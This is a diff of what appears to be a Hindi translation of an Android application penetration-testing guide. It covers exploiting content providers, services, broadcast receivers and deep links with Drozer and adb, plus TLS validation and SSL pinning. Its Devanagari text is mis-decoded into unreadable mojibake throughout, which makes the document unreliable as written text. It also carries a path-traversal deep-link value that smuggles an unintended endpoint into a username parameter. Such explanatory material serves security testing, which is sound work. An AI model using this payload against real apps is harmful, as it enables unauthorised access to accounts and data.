**рдкрде рдЯреНрд░реИрд╡рд░реНрд╕рд▓** рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдирд╛ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рдХрдордЬреЛрд░ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред +рд╕рд╛рдордЧреНрд░реА рдкреНрд░рджрд╛рддрд╛ рдореВрд▓ рд░реВрдк рд╕реЗ **рдбреЗрдЯрд╛ рд╕рд╛рдЭрд╛ рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдпрджрд┐ рдХрд┐рд╕реА рдРрдк рдореЗрдВ рдЙрдкрд▓рдмреНрдз рд╕рд╛рдордЧреНрд░реА рдкреНрд░рджрд╛рддрд╛ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрдирд╕реЗ **рд╕рдВрд╡реЗрджрдирд╢реАрд▓** рдбреЗрдЯрд╛ рдирд┐рдХрд╛рд▓рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рднреА рд╕рдВрднрд╛рд╡рд┐рдд **SQL рдЗрдВрдЬреЗрдХреНрд╢рди** рдФрд░ **рдкрде рдЯреНрд░реИрд╡рд░реНрд╕рд▓** рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рдХрдордЬреЛрд░ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред -[**Drozer рдХреЗ рд╕рд╛рде рд╕рд╛рдордЧреНрд░реА рдкреНрд░рджрд╛рддрд╛рдУрдВ рдХрд╛ рд╢реЛрд╖рдг рдХреИрд╕реЗ рдХрд░реЗрдВ, рдпрд╣ рдЬрд╛рдиреЗрдВред**](drozer-tutorial/index.html#content-providers) +[**Drozer рдХреЗ рд╕рд╛рде рд╕рд╛рдордЧреНрд░реА рдкреНрд░рджрд╛рддрд╛рдУрдВ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдирд╛ рд╕реАрдЦреЗрдВред**](drozer-tutorial/index.html#content-providers) ### **рд╕реЗрд╡рд╛рдУрдВ рдХрд╛ рд╢реЛрд╖рдг** @@ -344,7 +344,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдПрдХ рд╕реЗрд╡рд╛ рдХреА рдХреНрд░рд┐рдпрд╛рдПрдБ `onStartCommand` рд╡рд┐рдзрд┐ рдореЗрдВ рд╢реБрд░реВ рд╣реЛрддреА рд╣реИрдВред рдПрдХ рд╕реЗрд╡рд╛ рдореВрд▓ рд░реВрдк рд╕реЗ рдХреБрдЫ рдРрд╕рд╛ рд╣реИ рдЬреЛ **рдбреЗрдЯрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ**, **рдкреНрд░рд╕рдВрд╕реНрдХреГрдд** рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ **рдПрдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛** (рдпрд╛ рдирд╣реАрдВ) рд▓реМрдЯрд╛ рд╕рдХрддрд╛ рд╣реИред рдлрд┐рд░, рдпрджрд┐ рдХреЛрдИ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреБрдЫ рд╕реЗрд╡рд╛рдПрдБ рдирд┐рд░реНрдпрд╛рдд рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЛ **рдХреЛрдб** рдХреА **рдЬрд╛рдВрдЪ** рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП рддрд╛рдХрд┐ рдпрд╣ рд╕рдордЭ рд╕рдХреЗрдВ рдХрд┐ рдпрд╣ рдХреНрдпрд╛ рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ **рдЧреЛрдкрдиреАрдп рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдиреЗ**, рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЙрдкрд╛рдпреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕реЗ **рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ** **рдкрд░реАрдХреНрд╖рдг** рдХрд░реЗрдВ...\ -[**Drozer рдХреЗ рд╕рд╛рде рд╕реЗрд╡рд╛рдУрдВ рдХрд╛ рд╢реЛрд╖рдг рдХреИрд╕реЗ рдХрд░реЗрдВ, рдпрд╣ рдЬрд╛рдиреЗрдВред**](drozer-tutorial/index.html#services) +[**Drozer рдХреЗ рд╕рд╛рде рд╕реЗрд╡рд╛рдУрдВ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдирд╛ рд╕реАрдЦреЗрдВред**](drozer-tutorial/index.html#services) ### **рдмреНрд░реЙрдбрдХрд╛рд╕реНрдЯ рд░рд┐рд╕реАрд╡рд░реНрд╕ рдХрд╛ рд╢реЛрд╖рдг** @@ -352,25 +352,25 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдПрдХ рдмреНрд░реЙрдбрдХрд╛рд╕реНрдЯ рд░рд┐рд╕реАрд╡рд░ рдХреА рдХреНрд░рд┐рдпрд╛рдПрдБ `onReceive` рд╡рд┐рдзрд┐ рдореЗрдВ рд╢реБрд░реВ рд╣реЛрддреА рд╣реИрдВред рдПрдХ рдмреНрд░реЙрдбрдХрд╛рд╕реНрдЯ рд░рд┐рд╕реАрд╡рд░ рдПрдХ рдкреНрд░рдХрд╛рд░ рдХреЗ рд╕рдВрджреЗрд╢ рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░реЗрдЧрд╛ред рд░рд┐рд╕реАрд╡рд░ рдЬрд┐рд╕ рддрд░рд╣ рд╕реЗ рд╕рдВрджреЗрд╢ рдХреЛ рд╕рдВрднрд╛рд▓рддрд╛ рд╣реИ, рдЙрд╕рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдпрд╣ рдХрдордЬреЛрд░ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред\ -[**Drozer рдХреЗ рд╕рд╛рде рдмреНрд░реЙрдбрдХрд╛рд╕реНрдЯ рд░рд┐рд╕реАрд╡рд░реНрд╕ рдХрд╛ рд╢реЛрд╖рдг рдХреИрд╕реЗ рдХрд░реЗрдВ, рдпрд╣ рдЬрд╛рдиреЗрдВред**](#exploiting-broadcast-receivers) +[**Drozer рдХреЗ рд╕рд╛рде рдмреНрд░реЙрдбрдХрд╛рд╕реНрдЯ рд░рд┐рд╕реАрд╡рд░реНрд╕ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдирд╛ рд╕реАрдЦреЗрдВред**](#exploiting-broadcast-receivers) ### **рд╕реНрдХреАрдореЛрдВ / рдбреАрдк рд▓рд┐рдВрдХ рдХрд╛ рд╢реЛрд╖рдг** -рдЖрдк рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдбреАрдк рд▓рд┐рдВрдХ рдХреА рдЦреЛрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, MobSF рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдпрд╛ [рдЗрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред\ +рдЖрдк рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдЧрд╣рд░реЗ рд▓рд┐рдВрдХ рдХреА рдЦреЛрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, MobSF рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдпрд╛ [рдЗрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред\ рдЖрдк **adb** рдпрд╛ рдПрдХ **рдмреНрд░рд╛рдЙрдЬрд╝рд░** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдШреЛрд╖рд┐рдд **рд╕реНрдХреАрдо** рдХреЛ **рдЦреЛрд▓** рд╕рдХрддреЗ рд╣реИрдВ: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк **рдкреИрдХреЗрдЬ рдирд╛рдо рдХреЛ рдЫреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ** рдФрд░ рдореЛрдмрд╛рдЗрд▓ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЙрд╕ рдРрдк рдХреЛ рдХреЙрд▓ рдХрд░реЗрдЧрд╛ рдЬреЛ рдЙрд╕ рд▓рд┐рдВрдХ рдХреЛ рдЦреЛрд▓рдирд╛ рдЪрд╛рд╣рд┐рдП._ +_рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк **рдкреИрдХреЗрдЬ рдирд╛рдо рдХреЛ рдЫреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ** рдФрд░ рдореЛрдмрд╛рдЗрд▓ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЙрд╕ рдРрдк рдХреЛ рдХреЙрд▓ рдХрд░реЗрдЧрд╛ рдЬреЛ рдЙрд╕ рд▓рд┐рдВрдХ рдХреЛ рдЦреЛрд▓рдирд╛ рдЪрд╛рд╣рд┐рдПред_ ```html Click me with alternative ``` -**рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛** +**рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд** -**рдРрдк рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдХреЛрдб** рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП, рдЙрд╕ рдЧрддрд┐рд╡рд┐рдзрд┐ рдкрд░ рдЬрд╛рдПрдВ рдЬрд┐рд╕реЗ рдбреАрдк рд▓рд┐рдВрдХ рджреНрд╡рд╛рд░рд╛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдлрд╝рдВрдХреНрд╢рди **`onNewIntent`** рдХреЛ рдЦреЛрдЬреЗрдВред +рдРрдк рдореЗрдВ **рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдХреЛрдб** рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП, рдЙрд╕ рдЧрддрд┐рд╡рд┐рдзрд┐ рдкрд░ рдЬрд╛рдПрдВ рдЬрд┐рд╕реЗ рдбреАрдк рд▓рд┐рдВрдХ рджреНрд╡рд╛рд░рд╛ рдмреБрд▓рд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдлрд╝рдВрдХреНрд╢рди **`onNewIntent`** рдХреЛ рдЦреЛрдЬреЗрдВред ![](<../../images/image (436) (1) (1) (1).png>) @@ -380,7 +380,7 @@ _рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк **рдкреИрдХреЗрдЬ рдирд╛рдо рдХреЛ рдЫ **рдкреИрд░рд╛рдореАрдЯрд░ рдкрде рдореЗрдВ** -рдЖрдкрдХреЛ **рдпрд╣ рднреА рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ рдбреАрдк рд▓рд┐рдВрдХ URL рдХреЗ рдкрде рдХреЗ рдЕрдВрджрд░ рдПрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ** рдЬреИрд╕реЗ: `https://api.example.com/v1/users/{username}` , рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрдк рдкрде рдпрд╛рддреНрд░рд╛ рдХреЛ рдордЬрдмреВрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдХреБрдЫ рдРрд╕рд╛ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ +рдЖрдкрдХреЛ **рдпрд╣ рднреА рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ рдбреАрдк рд▓рд┐рдВрдХ URL рдХреЗ рдкрде рдХреЗ рдЕрдВрджрд░ рдПрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ** рдЬреИрд╕реЗ: `https://api.example.com/v1/users/{username}` , рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрдк рдкрде рдпрд╛рддреНрд░рд╛ рдХреЛ рдордЬрдмреВрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рдкрд╣реБрдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдЕрдВрджрд░ рд╕рд╣реА рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдкрд╛рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк **рдУрдкрди рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ** (рдпрджрд┐ рдкрде рдХрд╛ рдПрдХ рднрд╛рдЧ рдбреЛрдореЗрди рдирд╛рдо рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ), **рдЦрд╛рддрд╛ рдЕрдзрд┐рдЧреНрд░рд╣рдг** (рдпрджрд┐ рдЖрдк CSRF рдЯреЛрдХрди рдХреЗ рдмрд┐рдирд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╡рд┐рд╡рд░рдг рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдХрдордЬреЛрд░ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдиреЗ рд╕рд╣реА рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛) рдФрд░ рдХрд┐рд╕реА рдЕрдиреНрдп рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ [рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБ](http://dphoeniixx.com/2020/12/13-2/) рд╣реИред **рдЕрдзрд┐рдХ рдЙрджрд╛рд╣рд░рдг** @@ -391,40 +391,40 @@ _рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк **рдкреИрдХреЗрдЬ рдирд╛рдо рдХреЛ рдЫ - **рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреА рд╣рдореЗрд╢рд╛ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдЬрд╛рдВрдЪ рдирд╣реАрдВ рдХреА рдЬрд╛рддреА** Android рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рджреНрд╡рд╛рд░рд╛ред рдЗрди рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рдХреЗ рд▓рд┐рдП рдЪреЗрддрд╛рд╡рдирд┐рдпреЛрдВ рдХреА рдЕрдирджреЗрдЦреА рдХрд░рдирд╛ рдФрд░ рд╕реНрд╡-рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдирд╛ рдпрд╛ рдХреБрдЫ рдорд╛рдорд▓реЛрдВ рдореЗрдВ HTTP рдХрдиреЗрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рд╛рдорд╛рдиреНрдп рд╣реИред - **SSL/TLS рд╣реИрдВрдбрд╢реЗрдХ рдХреЗ рджреМрд░рд╛рди рдмрд╛рддрдЪреАрдд рдХрднреА-рдХрднреА рдХрдордЬреЛрд░ рд╣реЛрддреА рд╣реИ**, рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╕рд┐рдлрд░ рд╕реВрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдПред рдпрд╣ рдХрдордЬреЛрд░реА рдХрдиреЗрдХреНрд╢рди рдХреЛ рдореИрди-рдЗрди-рдж-рдорд┐рдбрд▓ (MITM) рд╣рдорд▓реЛрдВ рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдмрдирд╛рддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рдбреЗрдЯрд╛ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -- **рдирд┐рдЬреА рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рд▓реАрдХ рд╣реЛрдирд╛** рдПрдХ рдЬреЛрдЦрд┐рдо рд╣реИ рдЬрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕реБрд░рдХреНрд╖рд┐рдд рдЪреИрдирд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди рдлрд┐рд░ рдЕрдиреНрдп рд▓реЗрдирджреЗрди рдХреЗ рд▓рд┐рдП рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдЪреИрдирд▓реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрдЪрд╛рд░ рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛, рдЬреИрд╕реЗ рд╕рддреНрд░ рдХреБрдХреАрдЬрд╝ рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╡рд┐рд╡рд░рдг, рдХреЛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕рдВрд╕реНрдерд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЯрд░рд╕реЗрдкреНрд╢рди рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рдирд╣реАрдВ рд░рдЦрддрд╛ рд╣реИред +- **рдирд┐рдЬреА рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рд▓реАрдХ рд╣реЛрдирд╛** рдПрдХ рдЬреЛрдЦрд┐рдо рд╣реИ рдЬрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕реБрд░рдХреНрд╖рд┐рдд рдЪреИрдирд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди рдлрд┐рд░ рдЕрдиреНрдп рд▓реЗрдирджреЗрди рдХреЗ рд▓рд┐рдП рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдЪреИрдирд▓реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрдЪрд╛рд░ рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛, рдЬреИрд╕реЗ рд╕рддреНрд░ рдХреБрдХреАрдЬрд╝ рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╡рд┐рд╡рд░рдг, рдХреЛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕рдВрд╕реНрдерд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЯрд░рд╕реЗрдкреНрд╢рди рд╕реЗ рдмрдЪрд╛рдиреЗ рдореЗрдВ рд╡рд┐рдлрд▓ рд░рд╣рддрд╛ рд╣реИред #### рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╕рддреНрдпрд╛рдкрди -рд╣рдо **рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╕рддреНрдпрд╛рдкрди** рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░реЗрдВрдЧреЗред рд╕реБрд░рдХреНрд╖рд╛ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд░реНрд╡рд░ рдХреЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреА рдЕрдЦрдВрдбрддрд╛ рдХреА рдЬрд╛рдВрдЪ рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдПред рдпрд╣ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд TLS рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдФрд░ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдЪреИрдирд▓реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдХрд╛ рд╕рдВрдЪрд░рдг рдорд╣рддреНрд╡рдкреВрд░реНрдг рдЬреЛрдЦрд┐рдо рдкреИрджрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рд╕рд░реНрд╡рд░ рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреЛ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рдФрд░ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рд╕рдВрдмреЛрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╕реНрддреГрдд рдХрджрдореЛрдВ рдХреЗ рд▓рд┐рдП, [**рдпрд╣ рд╕рдВрд╕рд╛рдзрди**](https://manifestsecurity.com/android-application-security-part-10/) рд╡реНрдпрд╛рдкрдХ рдорд╛рд░реНрдЧрджрд░реНрд╢рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред +рд╣рдо **рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╕рддреНрдпрд╛рдкрди** рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░реЗрдВрдЧреЗред рд╕реБрд░рдХреНрд╖рд╛ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд░реНрд╡рд░ рдХреЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреА рдЕрдЦрдВрдбрддрд╛ рдХреА рдЬрд╛рдВрдЪ рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдПред рдпрд╣ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд TLS рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдФрд░ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдЪреИрдирд▓реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдХрд╛ рд╕рдВрдЪрд░рдг рдорд╣рддреНрд╡рдкреВрд░реНрдг рдЬреЛрдЦрд┐рдо рдкреИрджрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рд╕рд░реНрд╡рд░ рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреЛ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рдФрд░ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рд╕рдВрдмреЛрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╕реНрддреГрдд рдЪрд░рдгреЛрдВ рдХреЗ рд▓рд┐рдП, [**рдпрд╣ рд╕рдВрд╕рд╛рдзрди**](https://manifestsecurity.com/android-application-security-part-10/) рд╡реНрдпрд╛рдкрдХ рдорд╛рд░реНрдЧрджрд░реНрд╢рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред #### SSL рдкрд┐рдирд┐рдВрдЧ -SSL рдкрд┐рдирд┐рдВрдЧ рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп рд╣реИ рдЬрд╣рд╛рдВ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕рд░реНрд╡рд░ рдХреЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреА рдЬрд╛рдВрдЪ рдПрдХ рдЬреНрдЮрд╛рдд рдкреНрд░рддрд┐ рдХреЗ рдЦрд┐рд▓рд╛рдл рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рднреАрддрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИред рдпрд╣ рд╡рд┐рдзрд┐ MITM рд╣рдорд▓реЛрдВ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рд╡рд╛рд▓реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рдХреЗ рд▓рд┐рдП SSL рдкрд┐рдирд┐рдВрдЧ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдирд╛ рджреГрдврд╝рддрд╛ рд╕реЗ рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИред +SSL рдкрд┐рдирд┐рдВрдЧ рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп рд╣реИ рдЬрд╣рд╛рдВ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕рд░реНрд╡рд░ рдХреЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреА рдЬрд╛рдВрдЪ рдПрдХ рдЬреНрдЮрд╛рдд рдкреНрд░рддрд┐ рдХреЗ рдЦрд┐рд▓рд╛рдл рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рднреАрддрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИред рдпрд╣ рд╡рд┐рдзрд┐ MITM рд╣рдорд▓реЛрдВ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рд╡рд╛рд▓реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рдХреЗ рд▓рд┐рдП SSL рдкрд┐рдирд┐рдВрдЧ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдирд╛ рдЕрддреНрдпрдзрд┐рдХ рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИред #### рдЯреНрд░реИрдлрд╝рд┐рдХ рдирд┐рд░реАрдХреНрд╖рдг -HTTP рдЯреНрд░реИрдлрд╝рд┐рдХ рдХрд╛ рдирд┐рд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, **рдкреНрд░реЙрдХреНрд╕реА рдЯреВрд▓ рдХреЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛ 